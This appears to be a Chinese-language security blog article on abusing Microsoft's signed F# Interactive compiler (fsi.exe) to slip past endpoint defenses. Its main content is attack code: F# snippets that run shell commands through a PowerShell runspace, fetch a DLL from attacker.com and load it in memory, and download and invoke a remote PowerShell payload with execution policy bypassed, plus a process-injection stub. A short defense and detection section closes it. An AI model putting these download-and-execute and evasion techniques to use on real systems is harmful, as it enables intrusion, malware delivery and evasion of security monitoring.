.NET 通过Fsharp执行命令绕过安全防护
字数 990 2025-08-22 12:22:54
F# 交互式编译器 (fsi.exe) 绕过安全防护技术详解
1. F# 语言与 FSI 简介
1.1 F# 语言概述
F# 是 .NET 平台上的函数式优先编程语言,具有以下特点:
- 支持函数式、面向对象和命令式编程范式
- 与 C# 和 VB.NET 无缝集成
- 强大的脚本能力
- 类型推断和不可变数据结构
1.2 F# Interactive (fsi.exe)
fsi.exe 是 F# 的交互式执行环境:
- 微软官方签名二进制文件
- 包含在 Visual Studio 中
- 可执行 .fsx 和 .fsscript 脚本文件
- 支持即时执行 F# 代码片段
- 可调用 .NET Framework 全部功能
2. 技术原理分析
2.1 绕过机制
利用 fsi.exe 的以下特性绕过安全防护:
- 合法签名:具有微软官方数字签名
- 白名单信任:安全软件通常不监控其行为
- 脚本执行:可动态加载和执行代码
- .NET 集成:可调用系统 API 和 PowerShell
2.2 攻击面
- 命令执行
- 进程注入
- 内存加载恶意代码
- 横向移动
- 持久化
3. 实战技术详解
3.1 基础脚本执行
示例1:简单脚本
open System
let currentTime = DateTime.Now
printfn "Current time: %A" currentTime
执行方式:
fsi.exe script.fsx
3.2 程序集引用技术
引用.NET程序集
#r "System.Xml.dll"
引用特定路径程序集
#r @"C:\path\to\assembly.dll"
3.3 命令执行技术
通过 PowerShell 执行命令
#r @"C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"
let runSpace = RunspaceFactory.CreateRunspace()
runSpace.Open()
let pipeline = runSpace.CreatePipeline()
let command = new Command("cmd.exe")
command.Parameters.Add("/c", "whoami /all")
pipeline.Commands.Add(command)
let results = pipeline.Invoke()
for result in results do
match result.BaseObject with
| :? string as output -> printfn "%s" output
| _ -> printfn "Unexpected type; got: %A" result.BaseObject
3.4 脚本加载技术
加载其他脚本文件
#load "script.fsx"
4. 高级利用技术
4.1 内存加载.NET程序集
open System
open System.Reflection
let loadAssembly (assemblyBytes: byte[]) =
Assembly.Load(assemblyBytes)
// 从远程加载
let webClient = new System.Net.WebClient()
let assemblyBytes = webClient.DownloadData("http://attacker.com/malicious.dll")
let assembly = loadAssembly assemblyBytes
4.2 进程注入
open System.Diagnostics
let targetProcess = Process.GetProcessesByName("explorer").[0]
let hProcess = Native.OpenProcess(/*...*/)
// 注入代码...
4.3 无文件执行
let psScript = """
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$client = New-Object System.Net.WebClient
$script = $client.DownloadString('http://attacker.com/payload.ps1')
Invoke-Expression $script
"""
let startInfo = new ProcessStartInfo()
startInfo.FileName <- "powershell.exe"
startInfo.Arguments <- "-NoProfile -ExecutionPolicy Bypass -Command \"" + psScript + "\""
startInfo.UseShellExecute <- false
Process.Start(startInfo) |> ignore
5. 防御与检测
5.1 防御措施
- 应用控制:限制 fsi.exe 执行权限
- 日志监控:记录 fsi.exe 执行行为
- 脚本限制:禁用非必要脚本执行
- 网络隔离:限制出站连接
5.2 检测指标
- 异常进程:异常参数启动的 fsi.exe
- 脚本特征:包含敏感 API 调用的 .fsx 文件
- 网络活动:fsi.exe 发起的异常网络连接
- 内存特征:异常内存分配模式
6. 总结
F# 交互式编译器 (fsi.exe) 作为一种合法的微软签名工具,因其特殊性质可被用于绕过安全防护。安全团队应:
- 了解其工作原理
- 监控异常使用情况
- 实施适当的应用控制
- 保持系统更新
红队人员则可以利用其特性:
- 执行复杂攻击负载
- 绕过签名验证
- 实现内存驻留
- 进行横向移动
该技术展示了合法工具被滥用的典型案例,强调了纵深防御的重要性。